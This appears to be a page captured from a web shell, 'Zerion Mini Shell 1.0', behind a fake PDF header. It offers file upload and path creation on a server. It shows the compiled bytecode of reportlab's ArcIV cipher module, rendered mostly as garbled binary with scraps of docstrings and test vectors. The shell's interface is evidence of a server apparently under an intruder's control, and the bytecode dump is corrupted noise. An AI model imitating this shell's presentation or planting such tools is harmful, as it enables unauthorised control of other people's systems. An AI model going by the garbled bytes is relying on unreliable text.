%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/reportlab/lib/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/reportlab/lib/__pycache__/arciv.cpython-312.pyc

�

��dh��*�dZdj�ZdZddlmZGd�d�Zdddd	�dd
dd	�d
d
dd	�d
ddd	�dddd	�gZd�Zd�Z	e
dk(rIdZeD]AZeed�jed�Z
eed�jed�Z
edz
Z�Cyy)z
Arciv Stream  ciphering
zArcIV encode decodez1.0�)�	isUnicodec�(�eZdZdZd�Zd�Zd�Zd�Zy)�ArcIVz�
	performs 'ArcIV' Stream Encryption of S using key
	Based on what is widely thought to be RSA's ArcIV algorithm.
	It produces output streams that are identical.

	NB there is no separate decoder arciv(arciv(s,key),key) == s
	c�2�||_|j�y)N)�_key�reset)�self�keys  �5/usr/lib/python3/dist-packages/reportlab/lib/arciv.py�__init__zArcIV.__init__s���$�)��*�*�,�c�x�|j}t|�r|jd�}tt	d��}tt	d��}t|�}|D]}|||zdz||<�d}t	d�D]$}|||z||zdz}||||c||<||<�&|ddc|_|_|_y)z&restore the cipher to it's start state�utf8�rN)	rr�encode�list�range�len�_sbox�_i�_j)r	r
�sbox�k�lk�i�js       rrzArcIV.resets���	
�	�	�#��s�^�3�:�:�f�-�S�	
�e�C�j�	�$�
�5��:��!�
�3�x�"���a�

�a�"�f�+��
�1�Q�4���!���:�'�a�	�$�q�'�	�!�A�$��#��1��1�g�t�A�w��4��7�D��G�'�"&�q�!��$�*�d�g�t�wr
c��|j|j|j}}}t|t�rt|j
d��nt|t�rt|�n|dd}t|�}d}||krW|dzdzx|_}|||zdzx|_}||||c||<||<|||||||zdzz||<|dz
}||kr�W|S)zn
		return the list of encoded bytes of B, B might be a string or a
		list of integers between 0 <= i <= 255
		rNr�r)	rrr�
isinstance�strrr�bytesr)r	�Brrr�C�n�ps        r�_encodez
ArcIV._encode*s���
�z�z�4�7�7�D�G�G�1��$� *�1�S� 1�d�1�8�8�F���:�a�PU�CV��Q��\]�^_�\`�!�	�!�f�!��!�	�!���a�%�3���4�7�Q��d�1�g�+��$�$�4�7�Q��1�g�t�A�w��4��7�D��G�
�A�$��t�A�w��a��(�C�/�0�
0�1�Q�4���6�1�	
�!��
�(r
c�6�t|j|��S)zArcIV encode string S)r!r&)r	�Ss  rrzArcIV.encode?s��	�t�|�|�A��	�r
N)�__name__�
__module__�__qualname__�__doc__rrr&r�r
rrr	s����,�*�* r
rs#Eg����su�����Ŗ)r
�input�outputsst���Kys��A�7]:s�#Es
s
֡A��<8߽assu���J	xJ�R3����I��=vS4I�w���NJ�+��f]S՜&��Đ���mk���G�Z�Dz��^N�gy��
��2���DO�w������&Vu��~�Ī����;���B��1zCݥ�������
�m�1��xNIZ�ΐ�r�G�_b	;
��S/��GP�#�q2}�DD2�sg��/]D��g�P�u�Kp��w�#k[tG9mb�t!�=��.Dn5����N����w��=5�X\�	)/���f�K�@U����o����')BdE���]S���L㢷UW���&R���n#����S���[ٜs]=��5����8g�-{�꥕ؿ�o��	�l�l�zb>�L=3���>� �
�U�W�"Ը�i�I�՝N��yXkK���j�t�ԛ�K���K���$7,����
U5I�z=��ṟ͆`�:�ԫ���4=��B�XU@�h<���(M��L�X�q7Tq&�Ԟ'U���@��c�6�t|�j|�S)z.One-line shortcut for making an encoder object�rr��textr
s  rrr�s��
�c�
���$��r
c�6�t|�j|�S)zOne-line shortcut for decodingr1r2s  r�decoder5�s��	�c�
���$��r
�__main__r
r.r/rN)r,�split�__all__�__version__�reportlab.lib.utilsrr�_TESTSrr5r)r�t�or-r
r�<module>r>s����	"�'�'�)����)�8 �8 �v
-�.�/�	�
-�.�/��
-�.�/��
�6�7��
-�3�h3�mj�1C��J � �
�Z����
�	�Q��A�e�H�o���Q�w�Z�(�!��A�e�H�o���Q�x�[�)�!��q�&�!�	�r

Zerion Mini Shell 1.0